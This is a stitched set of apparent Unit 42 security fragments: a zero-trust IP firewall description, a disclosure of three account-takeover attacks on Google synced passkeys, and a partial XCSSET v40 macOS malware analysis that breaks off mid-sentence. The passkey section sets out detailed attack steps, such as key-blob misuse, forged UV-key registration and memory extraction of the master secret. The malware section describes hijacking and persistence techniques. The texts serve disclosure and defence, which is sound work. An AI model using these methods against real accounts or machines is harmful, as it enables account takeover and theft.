bf24277400cc453d530e4277d3bd24e96c5e409adef6970518bdc59205aa0241 e310476c41ae4f6e3c4ed9bb88303ee6e5e1455bd7afe51cf48965ea7599e6e5 e3513922666c202c1ae5c06eea277ba10477868d6d89ce2819f4f8ff9070bc85 e5715e6611ef6bcb233f5d2098510dab3db408abbb728b00e1821bb255829373 Phorpiex (Malware Family) – Malpedia Old Wine in the New Bottle: Mirai Variant Targets Multiple IoT Devices – Palo Alto Networks Unit 42 It Was Not Me! Malware-Initiated Vulnerability Scanning Is on the Rise – Palo Alto Networks Unit 42 ZT-IP, which we have also called No-DNS or D2IP detection, extends the zero trust security model to IP-based traffic. This ensures that network services only connect to IP addresses previously resolved and approved by a trusted DNS service. Outbound connections to an IP address without a prior, valid DNS query are flagged as suspicious and blocked. In Figure 9, ZT-IP secures the network and firewall level through a simple enforcement mechanism: The mechanism: Tracking legitimate IP addresses: The system monitors all valid DNS responses to learn which IP addresses are approved for outbound connections Building a trust list: These approved IP addresses are tracked in a secure list, along with a time limit for how long they remain valid Enforcement: Whenever a device attempts an outbound connection to an IP address, the firewall checks this list Blocking bypass attempts: The connection is only allowed if the destination IP address was recently approved by DNS. If an IP address is not on the list or its approved time limit has expired, the connection is immediately flagged as a potentialNo-DNS threat and blocked. Because some legitimate network protocols (such as DNS, Neighbor Discovery Protocol, VoIP, P2P and certain IoT services) connect directly to IP addresses by design, ZT-IP incorporates mechanisms to prevent false positives. It uses allowlists that exempt private intranet IP addresses, specific trusted network protocols and well-known benign public IP addresses from these strict DNS checks. ZT-IP delivers the following key advantages for network defense: Stops patient zero attacks: It proactively blocks unknown C2 callbacks and malware attempting to phone home using hard-coded IP addresses Secures shared infrastructure: It differentiates between legitimate traffic and malicious connections targeting the same shared cloud hosting environments, securely blocking the malicious traffic because it lacks the necessary DNS context Network-level protection: By operating at the firewall level, ZT-IP secures environments like IoT and operational technology (OT) without requiring endpoint agents to be installed on every single device

This article analyzes new attack classes against passwordless authentication, focusing on Google’s synced passkey ecosystem and the Cloud Authenticator used by desktop clients. The attacks demonstrate how malware on a compromised endpoint can misuse onboarding, recovery and device trust workflows to take over passkey-protected accounts. We show how an attacker can authenticate without user interaction, bypass user verification requirements and extract all synced passkey private keys. After decades of breaches and billions in losses, the attack vectors that defined the era of passwords and shared secrets are finally starting to fade. Passkeys replace passwords and traditional multi-factor authentication (MFA) with public-key cryptography, decreasing entire classes of attacks that have dominated the threat landscape for years. With no shared secret to steal, reuse or phish, many of an attacker’s most reliable tools are becoming obsolete. This represents a significant disruption for the credential theft market. Attackers, however, persist. They evolve, and defenders must prepare for a new generation of attacks. As passkeys become widely adopted and scale to billions of accounts, defenders must prepare for new attack surfaces, some of which we disclose in our research. This article is part 3 in our series examining passkey adoption from a security perspective. If you haven’t read the previous parts, we recommend starting here: Part 1: The Art of the Invisible Key – Passkey Global Breakthrough Palo Alto Networks customers are better protected from this new attack vector through the following products and services: Cortex Cloud Identity Security Idira Threat Detection and Response Idira Endpoint Privilege Manager Idira Privilege Access Management If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Google’s synced passkey implementation is particularly instructive due to its scale and how it creates a higher standard for private key protection in two critical ways: Private keys are generated and used within a cloud-enclave isolation environment Hardware-backed, client-device-bound keys control access to cloud-based cryptographic operations, attesting to the user’s presence on a trusted device This article builds on the architectural analysis from Part 1 and Part 2 of our previous articles in this series. We now shift from how passkeys are built and deployed to how attackers can misuse them. We present three novel attacks that enable account takeover of passkey-protected accounts. Each attack challenges a different core assumption of passkey authentication security. When a client authenticates with a passkey, the following is expected: Users provide explicit consent on the device to verify user presence For MFA, users must also unlock the device to verify biometric (i.e., something you are) or knowledge-based (i.e., something you know) authentication factors Passkey private keys cannot be shared or copied The Google documentation reflects these core assumptions, describing the passkey login process as a secure alternative to passwords (as shown in Figure 1). Challenging these expectations is a category of attacks we've nicknamed Pass-ta-key. This playful, layered name blends the word passkey and the phrase “pass the key,” with a light nod to the concept of plate of pasta, illustrating how tangled this key implementation can get. These attacks each expose a different weakness in practice: Pass-ta-key attack: An attacker takes over an account protected by a Google-synced passkey using malware running on the victim’s device, without requiring privilege escalation, device unlock or user interaction Silver Pass-ta-key attack: An attacker deceives the Google Cloud Authenticator into believing the victim has unlocked the device with biometrics, leading to full account takeover without using the victim’s device during authentication Golden Pass-ta-key attack: An attacker can extract all synced passkeys in a form that allows them to be shared or sold on the credential black market These attacks demonstrate how malware can exploit synced passkeys, even when providers add hardware-backed protections to secure credentials within the cloud authenticator. Disclaimer: This research involved responsible and ethical security analysis. We responsibly disclosed all presented exploits. The cloud authenticator model is used by various passkey providers across multiple browsers and platforms. This work, however, focuses on Google Password Manager in Chrome on Windows, specifically on devices equipped with a Trusted Platform Module (TPM). All presented attacks rely on malware already existing on the victim’s device during the initial stage. Stage Zero Reconnaissance Before attempting any of the attacks, the attacker needs visibility into how passkeys are used within the victim’s account. On a compromised endpoint, this visibility is readily available. Chrome locally stores synced passkey data as part of its synchronization process. On Windows, Chrome persists this data as proto-encoded WebauthnCredentialSpecifics records, which represent synced WebAuthn credentials, within its sync database: %LocalAppData%\Google\Chrome\User Data\ \Sync Data\LevelDB Accessing these records does not require elevated privileges. The records allow an attacker to enumerate where the victim uses passkeys, along with associated usernames, credential identifiers and the encrypted private key. After identifying a service where the victim uses passkeys, an attacker can attempt to authenticate as the victim. The primary challenge for attackers is bypassing the protection of the private key, which is used to sign authentication challenges. This private key is secured by a master key. While an encrypted version of this master key is stored on each client device, only the cloud authenticator can decrypt it. Despite this security, the architecture remains vulnerable to exploitation. The following sections detail methods attackers could use to exploit system mechanisms, authenticate as the victim, and compromise passkey-secured accounts. Our first attack is the most straightforward approach, which involves taking over a passkey-protected account by mimicking the behavior of Google Password Manager and Chrome during legitimate authentication. In a normal flow, Chrome sends a request to the cloud authenticator, signed using the device’s hardware-backed keys. Unlike a legitimate user flow that requires user interaction and device unlock, this attack shows how malware can obtain the required signature silently, without user consent, biometrics, device unlock or elevated privileges. To understand this, we focus on Chrome’s device identity key, which represents client device possession to the cloud authenticator. As previously explained (part 2: Login with Synced Passkey and Device Key Signature), generating the required assertion involves signing data sent to the cloud authenticator using one of the device’s hardware-backed keys. This is the identity key or the user verification key (UV key). Although both keys are hardware-bound, they are not accessed in the same way. For the identity key, Chrome creates the conditions that allow it to request a signature while running as a user without elevated privileges and without triggering device unlock protections. On Windows, Chrome calls the NcryptCreatePersistedKey function without assigning a key name, making the TPM-backed key ephemeral and preventing it from being persisted to disk. Instead of storing the private key within the TPM, Chrome calls NcryptExportKey to export the key as an NCRYPT_OPAQUE_KEY_BLOB, which instructs the TPM to encrypt the private key using a TPM-resident key. The resulting blob is stored as wrapped_identity_private_key in the passkey_enclave_state file, making it available for future use on the same physical TPM. Malware can extract this wrapped_identity_private_key from disk or Chrome’s memory. It can then invoke cryptographic operations using standard Windows Cryptography API: Next Generation (CNG) APIs (NCryptOpenStorageProvider, NCryptImportKey, NCryptSignHash), without elevated privileges, mimicking Chrome’s own actions. Having established that malware can generate the required signature, we now detail the full Pass-ta-key attack flow (as shown in Figure 2). This flow allows a remote attacker with unprivileged malware on the victim’s device to authenticate as the victim. The attack flow consists of the following phases: After collecting the victim’s synced passkey records (Stage Zero: Reconnaissance), the attacker selects a targeted account and initiates a passkey login The relying party responds with a fresh authentication challenge The attacker initiates a WebSocket handshake with the Google Cloud Authenticator Using the hash of that handshake, the attacker interacts with the victim’s TPM and uses the extracted identity key to sign the handshake hash together with the assertion request The attacker sends an assertion request to the cloud authenticator, including the identity key signature From the cloud authenticator’s perspective, the request appears to be a trusted device making a valid request, so it produces a valid assertion response This assertion is then forwarded to the relying party, completing authentication and giving the attacker full control of the victim’s account Video 1 demonstrates the attack as it would unfold in practice. (We have blurred the names of the relying parties to avoid naming.) Video 1. Example of a successful Pass-ta-key attack. As the video begins, the screen splits between the attacker's terminal and the victim's desktop. The video first shows the attacker establishing a command-and-control (C2) listener, passively waiting for victims to connect. On the victim’s machine, the Trojan executes as a standard user, without elevated privileges. Once active, it collects the victim’s encrypted, synced passkeys and sends them back to the attacker’s C2 server. This provides visibility into the victim’s available passkeys. The attacker selects a target, such as a messaging application account protected by a passkey, navigates to the application and chooses Login with passkey. The relying party then responds with a fresh authentication challenge. Next, the attacker initiates communication with the Google Cloud Authenticator. After completing the handshake, the attacker triggers the Trojan to use the device’s identity key to sign the required data. Specifically, it uses the hash of the handshake combined with the hash of the serialized assertion request. The attacker then attaches this signature to the request sent to the cloud authenticator. The cloud authenticator returns the requested assertion. The attacker forwards this valid assertion to the relying party and successfully logs in as the victim. The Pass-ta-key attack is effective when the relying party does not strictly require user verification. Many relying parties configure WebAuthn’s userVerification parameter as preferred rather than required to support diverse devices and user experiences, making them susceptible to this attack. When a relying party explicitly requires user verification, one would expect the cloud authenticator to reject requests that are not signed using a key gated by PIN or biometric verification. Surprisingly, this is not the case. The cloud authenticator returns a valid assertion regardless of whether the request was signed using the identity key or the UV key. The difference comes down to a single bit in the authenticator data, the User Verified (UV) flag. When the assertion is signed using the UV key, this flag is set to 1. When it is signed using the identity key, the flag remains 0. While the Pass-ta-key attack produces cryptographically valid assertions matching the relying party’s public key, our testing shows attacks typically fail when user verification is required because the UV flag remains unset. For example, when attempting the attack against a passkey-protected GitHub account, the attacker receives an error message, as shown in Figure 3. Although authentication is typically rejected when user verification is required, this behavior is not always consistently enforced across relying parties. In our testing, we identified relying parties that accepted authentication because they did not properly validate the UV flag. This allowed the attack to succeed despite the absence of user verification. The lack of validation effectively reduces the authentication process to a single factor. By compromising only the device identity key, the attacker is able to authenticate successfully and take over the account, even though MFA is required. We reported this issue to the affected relying parties. Video 2 demonstrates this behavior in practice on eBay. Although eBay sets the userVerification parameter to required, the demo recording shows a successful passkey login using the described technique, without any user interaction or additional authentication factors. We captured this recording before eBay fixed the issue. Following our report, eBay addressed this verification gap and now properly validates the UV flag. Video 2. Pass-ta-key attack succeeds despite the absence of user verification, even when the UV is required. When an account is protected by stronger authentication requirements, such as for financial or federal identity systems, the attacker must also bypass user verification. This initially appears to be a significant challenge. The cloud authenticator requires a message signed with the UV key to set the UV flag. Client interaction controls access to this key, as the OS validates the user via the same mechanism used for device unlock. Without escalating to system privileges or physical access to the victim device, an attacker has no apparent path to obtain such access. Attackers can bypass this challenge through the following mechanism: Instead of bypassing access to the UV key, the attacker invalidates the existing key registered in the cloud authenticator and registers a newly generated key under their control Once the attacker-controlled key is registered, any message signed with it is accepted by the cloud authenticator as if the user had successfully performed device unlock Figure 4 demonstrates the attacker-side authentication flow in the Silver Pass-ta-key attack, focusing on the authentication phase after the attacker-controlled UV key is registered. This approach has important implications. It allows the attacker to fully automate authentication across all the victim’s accounts without human interaction, even where user verification is enforced. Furthermore, the attacker no longer needs live access to the victim’s device during authentication. Unlike the previous attack, which required active malware on the victim’s device for each authentication, the Silver attack provides reusable access. This allows the attacker to access the victim’s passkey-protected accounts from their own environment, without requiring the victim’s device to be online or active. Ultimately, this enables account takeover across all passkeys associated with the victim without requiring elevated privileges. To carry out this attack, the first objective is to invalidate the existing UV key associated with the target device. From the previous attack, we learned how an attacker can use unprivileged malware to sign attacker-controlled requests with the device identity key and send them to the cloud authenticator. The attacker can leverage this capability to issue a device/forget command on behalf of the victim. A simpler option is to directly delete the victim’s passkey_enclave_state file, as there are no built-in protections that prevent its removal. Regardless of the method, the next time the user attempts to use a passkey, Chrome is forced to re-onboard the device. This occurs either because Chrome no longer has access to the device key or because the cloud authenticator no longer recognizes the device as registered. On Windows, device onboarding is only completed after the second use of a passkey on the same device. During the first use, Chrome begins onboarding with the cloud authenticator in the background while prompting the user to enter the Google Password Manager (GPM) recovery PIN. If Chrome were to create the UV key at this point, it would also trigger a Windows Hello prompt, requiring the user to authenticate again using biometrics or a PIN. Since both steps may involve a PIN, presenting them back-to-back in the same flow can be confusing and lead to user errors. To avoid this, Chrome defers the creation of the UV key. Instead, the device is initially registered in a uv_key_pending state. During this first interaction, the GPM recovery PIN satisfies user verification, and the actual UV key is only created and registered during the next passkey use, when the additional prompt is no longer needed. After forcing the victim into this re-registration state, the attacker can exploit the uv_key_pending condition. In their own environment, the attacker generates an asymmetric key pair. They then send a device/add_uv_key command to the cloud authenticator, providing the attacker-controlled public key as the UV key. The cloud authenticator does not validate the attestation of newly registered UV keys to verify whether they originate from secure hardware. As a result, the attacker-controlled key is stored alongside the legitimate device identity key: From this point on, the attacker can use the forged UV key to request signatures for any passkey associated with the victim and obtain assertions with the UV bit set. This provides access to high-value accounts even when user verification is enforced and validated. In this attack, the attacker effectively gains the cloud authenticator’s superpower, the ability to decrypt synced passkeys. This is particularly impactful because it undermines the intended protection mechanism. The passkey’s private key is protected using a symmetric master key called the security domain secret (SDS). This master key is not directly accessible, it is stored on the device as an encrypted wrapped_secret. Only the cloud authenticator can decrypt this wrapped_secret using its device-specific key (wrapping_key) within its isolated environment, as noted in Figure 5. Figure 5. Synced passkey decryption inside the cloud authenticator. This design aims to protect synced passkeys even if the client device is compromised. As Google noted in response to one of our vulnerability reports: “The (cloud) enclave authenticator’s primary function is to make it difficult to steal passkey private data, which would be an obvious target for malware if it were locally available.” The security of this model ultimately hinges on the protection of the 32-byte SDS. If an attacker is able to obtain the SDS, they effectively gain the ability to decrypt all synced passkeys for that account. This allows them to authenticate as a fully verified user and take over every service where the victim relies on passkeys. This secret should never be exposed to the client device, even during device loss or account recovery. However, we unexpectedly found the SDS present in Chrome’s logs during registration with the cloud authenticator, simply by opening chrome://device-log/FIDO, as noted in Figure 6. In the current Chrome implementation, every device joining or rejoining an account’s security domain retrieves the SDS from the recovery key store, Google’s Trusted Vault service. The cloud authenticator includes a mechanism that allows Chrome to facilitate the recovery flow where the key cannot be decrypted on the client device, however this mechanism is not used. Instead, Chrome recovers the SDS in an accessible form. One possible explanation is needing to standardize the device join and recovery process across platforms. Unlike desktop environments, Google Password Manager on iOS and Android does not rely on the cloud authenticator and must obtain the master key to decrypt synced passkeys. As a result, Chrome appears to follow the same recovery model, even though the cloud authenticator could enable a more isolated approach. Although Google removed this secret from Chrome’s logging output following our report, the SDS is still sent to the client and remains accessible in Chrome’s process memory. If the attacker forces the victim to re-register with the cloud authenticator and knows the pattern to look for, they can extract the SDS directly from memory. The Golden Pass-ta-key attack allows full account takeover through the following steps: The attacker forces Chrome to trigger a fresh onboarding using the same mechanisms as the Silver Pass-ta-key attack The attacker monitors the system for the recreation or modification of the passkey_enclave_state Once the file is recreated/modified, the attacker dumps Chrome’s process memory and extracts the SDS, which is temporarily present in plaintext The attacker reads the WebauthnCredentialSpecifics records from Chrome’s sync database (Stage Zero: Reconnaissance) Using the extracted SDS, the attacker decrypts the encrypted fields in each record and recovers the corresponding passkey private keys The attacker uses the recovered private keys to sign the relying party’s challenge and successfully authenticates as the victim Figure 7 shows how an attacker would use the SDS to decrypt passkeys and forge a valid authentication response. Video 3 shows how an attacker uses the stolen SDS to log in to a high-value account (in this case, a crypto exchange). Video 3. How an attacker uses the stolen SDS to log in to a high-value account. The Golden Pass-ta-key attack has a significantly broader impact. Beyond the reusable access from the attacker’s environment, the SDS allows the attacker to decrypt all existing passkeys as well as any future passkeys created for the account. While the Silver attack is mitigated by unregistering or re-enrolling the device, the Golden attack provides strong persistence. Even if a compromise is detected, remediation is limited. In Google’s current implementation, there is no way to rotate or revoke the SDS, meaning all current and future synced passkeys remain protected by the same master key. Relying parties should require userVerification = required and validate the UV flag in all authentication responses. Failure to enforce this check can reduce authentication to a single factor. Figure 8 below shows the authenticator data layout. Credential managers should verify the origin and attestation of newly registered device keys, including UV and identity keys. Accepting arbitrary keys without validation allows unauthorized key registration and bypass of user verification requirements. Credential manager recovery PIN prompts are typically associated with onboarding or account recovery, not routine passkey authentication. Unexpected or repeated prompts during normal passkey usage may indicate re-triggering of onboarding or recovery, potentially due to phishing attempts or local manipulation of passkey state. These flows are security-sensitive because recovery operations can re-establish device trust and restore access to synced credentials. In the scenarios from our research, triggering recovery enabled registration of new verification keys or exposure of key material used to decrypt synced passkeys. Monitoring agents should detect and restrict unnecessary re-triggering of onboarding and recovery flows, especially after deletion or modification of local passkey state files. Additional verification should be required before re-establishing device trust or recovering synced credentials. Sensitive material such as the master key should not be exposed to the client, including through memory or logs. Instead, credential managers should use designs where cryptographic operations are performed on behalf of the client, without transferring the underlying key material to the client environment. Access to passkey-related storage, such as Chrome’s sync database and local state files (e.g., passkey_enclave_state), should be limited to the browser process and protected through platform access controls. This reduces the ability to enumerate credentials, manipulate onboarding state or access device-bound key material from a compromised endpoint. WebAuthn defines a signature counter (signCount) mechanism intended to help relying parties detect cloned or unexpectedly reused credentials. In traditional authenticators, the counter increases with each authentication operation and can provide a signal of abnormal credential usage. In synchronized passkey systems, authentication assertions commonly contain a constant signCount value. As a result, relying parties and credential providers have limited visibility into unauthorized use of synced credentials, including scenarios where passkeys are extracted or reused from unexpected environments. Google noted that globally consistent signature counters are difficult to implement in synchronized passkey systems that operate across multiple devices and platforms, particularly when assertions originate from independent clients. Credential managers that centrally coordinate authentication operations should consider implementing coordinated signature counter mechanisms that account for synchronization and multi-device consistency challenges. Such mechanisms can improve visibility and detection of unexpected credential usage or passkey reuse across environments. Passkeys represent a meaningful step forward in authentication security. By eliminating shared secrets, they reduce entire classes of attacks that have historically led to widespread account compromise. This changes the economics of credential theft and forces attackers to adopt new techniques. The attacks presented in this research do not break the underlying cryptography. Instead, they exploit gaps between design assumptions and real-world implementations. These gaps include: Trust placed in client devices Inconsistencies in relying party validation Weaknesses in onboarding and recovery flows When combined with malware on the endpoint, these gaps enable account takeover scenarios that bypass the guarantees passkeys are expected to provide. A central takeaway is that endpoint compromise remains a critical part of the threat model. When authentication decisions rely on signals from the user’s device, an attacker with access to that device can manipulate those signals in ways that are difficult to detect. Hardware-backed keys, secure enclaves and cloud isolation significantly raise the bar, but they do not fully eliminate this risk. Passkey deployments should be treated as one layer in a broader security strategy. Relying parties must enforce strict validation, including proper handling of the user verification signal. Platform providers should continue hardening onboarding and recovery flows, and organizations should invest in protections against malware and memory access on endpoints. As adoption continues to grow, so will attacker interest in this space. Understanding these emerging attack paths is essential to ensuring passwordless authentication delivers its intended security benefits in real-world conditions. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex Cloud Identity Security encompasses Cloud Infrastructure Entitlement Management (CIEM), Identity Security Posture Management (ISPM), Data Access Governance (DAG) and Identity Threat Detection and Response (ITDR). It provides clients with the necessary capabilities to improve their identity-related security requirements by providing visibility into identities, and their permissions, within cloud and container environments. This helps accurately detect misconfigurations and unwanted access to sensitive data. It also allows real-time analysis surrounding usage and access patterns. Idira Threat Detection and Response (TDR) enables security teams to counter identity-based attacks targeting Idira Next Generation Identity (NGI) Platform and the identities it secures. Using near real-time detection, powered by CORA AI, and leveraging Idira’s visibility across multiple contexts (like PAM, authentication, SSO, cloud, endpoints, browsers, and more), Idira ITP can apply automated, tailored non-disruptive in-session response to contain and minimize potential identity-based threats. Idira Endpoint Privilege Manager (EPM) enables enterprises to reduce risk, satisfy compliance, and streamline operations. It helps implement least privilege via policy-driven elevation and removal of standing admin rights, and blocks risky actions, such as execution of unvetted applications and access to memory of other processes, while providing audit-ready evidence and unified identity governance. Automation and consolidation improve efficiency and support Zero Trust strategies, strengthening security without slowing the business. Idira Privilege Access Management Idira Privilege Access Management unifies privileged access across human, machine, and agentic identities to secure cloud access across multi-cloud environments. Building on proven PAM, it delivers centralized secrets management alongside modern controls like Just-in-Time access and Zero Standing Privileges. This enforces consistent least-privilege security across on-premises, cloud, and SaaS targets. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. The Art of the Invisible Key: Passkey Global Breakthrough – CyberArk Google Cloud Authenticator: The Hidden Mechanisms of Passwordless Authentication – Palo Alto Networks Unit 42

After months of dormancy, the attackers behind the XCSSET malware released version 40 (v40), targeting the macOS ecosystem. This version’s advanced architecture hides its core logic in memory space, reducing its digital footprint. V40 further enhances its detection evasion capabilities by combining polymorphic payload generation with fileless persistence and dynamic in-memory execution, while weakening a number of security mechanisms on the affected machine. Since early April 2026, the malware has spread through supply chain attacks by hiding itself in the Xcode projects of dozens of legitimate applications with thousands of active users. Xcode is Apple’s integrated development environment (IDE) for building apps for its various operating systems. XCSSET’s author enhanced the threat’s ability to spread through open-source projects on GitHub and upgraded its worming capabilities. It can now infect all existing Xcode projects on a compromised system for maximum impact. The author used a multi-layered cipher shift to conceal the threat’s internal functions. In response, our researchers leveraged advanced AI and pattern-matching algorithms to de-obfuscate the malware's logic. This article: Explores XCSSET’s updated stealth practices Examines the new operational modules Reveals findings regarding the attackers' rotating command-and-control (C2) infrastructure Provides mitigation strategies to detect and prevent this threat Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. XCSSET is a modular macOS malware family that primarily targets software developers within the Apple ecosystem, spreading through Xcode projects. Threats in this family download task-specific modules from a C2 server, giving it capabilities including: Browser hijacking Credential theft Clipboard monitoring Data exfiltration XCSSET’s initial discovery was by Trend Micro in 2020. Security researchers at Microsoft analyzed and documented two subsequent versions in March and September 2025. These updates indicate that the attackers were enhancing their codebase. In mid-April 2026, we started tracking a new version of XCSSET. We saw a secondary wave of attacks in early May 2026 that introduced an expanded suite of operational modules. In this new version, we observed a heightened volume of attacks targeting developers across South Asia, which is consistent with Trend Micro's initial 2020 reporting, While the threat actor has named this latest iteration XCSSET v40, the security community has historically identified only a handful of intermediary versions, none of which featured formal version labels. In this section, we provide a high-level overview of XCSSET v40’s infection chain. The threat’s authors restructured its execution framework to be more stealthy and modular. We provide a complete step-by-step breakdown of each phase in Appendix A. The malware injects an initial downloader script into benign project files in Xcode projects and vulnerable Git repositories. While the attack lifecycle begins with the infected codebase, the endpoint infection is triggered only when the developer builds that project locally. The malware scrambles its payload generation at compile time, switching between nested layers of different encryption mechanisms. Figure 1 shows a benign infected Xcode project on GitHub with two separate XCSSET payloads. The XCSSET v40 infection chain consists of four distinct stages prior to final payload execution: The initial loader script establishes C2 communication The second stage collects basic fingerprinting information on the system and downloads further modules The third stage includes a temporary staging applet that is dropped onto the system to load the final stage into volatile memory space The fourth stage is the core module logic The moment this memory-resident core module loop becomes active, the malware terminates its staging processes and deletes all installation files from the disk. The goal of the core-module (internally called boot) is to execute and load additional, specialized modules into memory, such as keyloggers, clipboard hijackers or browser hijackers. Figure 2 describes XCSSET v40’s infection chain. Our analysis of XCSSET v40 uncovered 17 distinct modules, each designed for a different goal. The modules were delivered via a dynamic C2 infrastructure and executed in memory. We found that the operators have enhanced several of its legacy modules while introducing two new components. These include a Chrome hijacking backdoor and a Telegram trojanizer. We provide the full list of XCSSET v40 modules in Appendix B. The Chrome hijacking module controls the browser by misusing a legitimate Chromium feature, the CDP. For the CDP-based hijacking to work, the malware must redirect how the user interacts with the browser. It does this by wrapping the benign Google Chrome binary in a malicious persistence script. When a victim launches Google Chrome, the wrapper executes a three-step chain: The orchestrator check: First, it restarts the main XCSSET orchestrator module (boot) every time Google Chrome is initialized, ensuring the malware's core process remains active CDP execution: It then launches the legitimate Google Chrome application with specific command-line arguments that activate the CDP on a pre-defined local port, exposing the browser's internal engine chrome_remote backdoor: Finally, it drops and launches a specialized Chrome hijacking binary (chrome_remote). This binary connects to the opened CDP port, allowing the attackers to execute arbitrary JavaScript, manipulate active browser sessions and extract cookie tokens invisibly. Figure 3 illustrates the module’s infection and execution chain. Inside the chrome_remote Binary The chrome_remote binary dropped by the browser hijacking module establishes a persistent WebSocket connection to the C2 server to pull down real-time JavaScript payloads. Leveraging CDP's ability to inject code before a page even loads allows the malware to force the browser to evaluate and execute these remote scripts on every new tab or document the user opens. Once injected into a webpage, the malware’s dynamic scripts override critical browser APIs to manipulate the user's active session for the following goals: Traffic interception: Hooks placed on window.fetch and XMLHttpRequest monitor to exfiltrate sensitive data streams, credentials and API tokens Crypto wallet manipulation: Intercepting MetaMask's Ethereum provider allows the malware to alter cryptocurrency wallet addresses or manipulate decentralized application (dApp) transactions Credential theft: Overriding password-manager autofill fields captures credentials This module is able to pivot from a browser hijack to full host-level compromise, operating within the context of the legitimate Google Chrome process. The binary monitors active tabs for specific browser console logging events. If the operator wants to run a local system command on the infected machine, they execute a standardized string such as a console.log prefixed with a specific delimiter. The chrome_remote binary intercepts this console event, strips the delimiter and passes the remaining payload to the host's underlying shell handler (exec.Command). The resulting shell output is then packaged and routed back through the active CDP WebSocket to the C2 server, establishing a stealthy, fileless reverse shell. We reported the information about this threat to Google. This behavior is protected against in Windows, and Google is currently working on expanding the same protections to macOS. We identified a new Telegram Desktop trojanizer module in May 2026 that was absent from the April 2026 deployment. The delayed introduction of this module demonstrates that the threat actor was actively refining XCSSET v40 after it was already deployed in the wild. This new module performs the following activities: Downloading a pre-built malicious Telegram.app ZIP Wiping the legitimate copy Dropping the C2-supplied replacement in its place Ad hoc code-signing the fake Telegram app Issuing a kill command to the original Telegram process so the victim relaunches the trojanized copy This module was updated with a custom AES-encrypted configuration from a dedicated endpoint (/w?tr). We have observed this security mechanism in other modules in earlier iterations of the XCSSET malware family. The decrypted configuration is written to ~/.tr, and a companion ~/.tr_map file tracks state. Whenever the SHA-1 of .tr changes, .tr_map is cleared. Both files are then uploaded back to the C2 as base_tr_file.txt and base_tr_map.txt. Because the configuration blob itself was not captured during our collection window, we could not verify its exact contents. However we assess that this is how XCSSET’s operators kept server-side track of which Telegram-related markers existed on each infected host. This is not the first time XCSSET has been seen targeting Telegram. The original 2020 generation of XCSSET featured dedicated telegram / telegram_lite data-stealing modules. The 2025 XCSSET iteration included the data_folders_finder module that exfiltrated Telegram's chat history, cached files and local encryption keys. The newest Telegram trojanizer represents a meaningful escalation in the attacker’s access to the app. Rather than a one-time copy of Telegram-related data, the attacker now replaces the application binary itself, giving them an in-process foothold. When analyzing v40, it became clear that XCSSET went through architectural changes and made core changes to its TTPs. The attackers behind the malware enhanced its stealth practices to sabotage detection and thwart analysis, while also adding new persistence and data theft methods. This section highlights the recent TTPs observed in v40 illustrated in Figure 4, including: Multi-layered encryption Polymorphism New fileless persistence Impairing defenses Virtual machine (VM) evasion The architectural hallmark of XCSSET v40 is its defense-evasion framework, combining overlapping layers of polymorphism and a dual-key encryption scheme. Rather than relying on a single defensive trick, the malware implements a multi-tiered cryptographic gauntlet across its binaries, network payloads and internal source code. Figure 5 describes the XCSSET v40 evasion stack: The malware leverages polymorphism to rotate its digital fingerprints and evade detection. The loader binary, which is responsible for executing the core modules in memory, is recompiled on the C2 server every few hours. During analysis, we observed eight distinct hashes delivered to a single endpoint within a 24-hour window. The functional modules streamed to the orchestrator are polymorphic. Each component is encrypted via AES-256-CBC using a per-build key and a randomized Initial Vector (IV) prepended to the ciphertext. Because the IV shifts with every single transmission, even two identical modules served seconds apart will result in two different encrypted blobs. Figure 6 illustrates the encrypted payload injection process into osascript as detected in Cortex XDR. While previous versions of XCSSET protected their C2 communications using a single, hard-coded plaintext key, v40 introduces a dual-key architecture that separates inbound and outbound encryption. Unlike its predecessors, XCSSET v40 embeds its inbound key within the compiled AppleScript loader. As a result of this compartmentalized key placement, defenders who retrieved the outbound key from network telemetry will not be able to decrypt and access the core logic of the malware. The malware applies a third layer of polymorphism at the structural code level. Every internal string literal is dynamically encoded using a per-module keyed Caesar cipher featuring a randomized 52-character alphabet and variable shift values. As a result, no two builds of the same module share common string signatures. XCSSET v40’s developers also implemented a pre-compilation substitution cipher for all internal module, function and variable names. Because this obfuscation takes place on the C2 server before distribution, the decryption mapping is absent from the host endpoint. This absence means that analysts cannot reverse a local execution routine to reveal the original code structure. Figure 7 includes a scrambled source-code module with decrypted string literals. By leveraging advanced pattern matching and LLM assistance, we broke the identifier substitution cipher. This allowed us to trace the obfuscated module and function names back to their original, operator-assigned names. This allowed us to dive into the malware’s core logic. XCSSET adopted new technologies to scale their operations. This can also be a reminder for the threat intelligence community that defenders can harness those same capabilities to neutralize this threat. Beyond introducing polymorphic capabilities, XCSSET v40 also added a new fileless persistence to its TTPs. In addition to its usual persistence through Git hooks, Launch Daemons and trojanized applications, v40 adopted another method that misuses the macOS defaults configuration system. Defaults is the macOS counterpart to the Windows Registry, which is a built-in mechanism for managing user preferences and application settings. Historically, macOS malware families like NetWire and FruitFly have misused the defaults utility to store state data. XCSSET v40 instead uses this utility to shift from predictable, disk-resident persistence to a fileless re-infection loop. Rather than dropping additional scripts on disk between cycles, XCSSET v40 writes a Base64-encoded staging payload into a preferences domain it generates per host. Inside the domain, the malware writes the payload under keys that are meant to seem random, like mpirv_eahpi_apm or ychax_muwch_ucy. When a victim launches a trojanized or hijacked application, the threat runs a one-liner to retrieve and decode the payload: The decoded blob re-infects the host, with the SRC tag identifying which infection vector (e.g., hijacked browser, infected Xcode project or trojanized application) is responsible for triggering the re-arm. Beyond standard persistence, XCSSET v40 uses the defaults system during initial infection to store and query system information. Misusing defaults as an operational configuration cache is uncommon in the macOS malware landscape. XCSSET v40 also introduces significant defense-evasion techniques that were not observed in prior campaigns. In this multi-part effort to thwart Apple’s defenses, XCSSET v40: Disables the SoftwareUpdate configuration channel Terminates cloud telemetry mechanisms Locks XProtect signature databases Resets the Transparency, Consent and Control (TCC) framework’s databases XCSSET v40 executes the following commands to hinder the machine’s ability to receive security 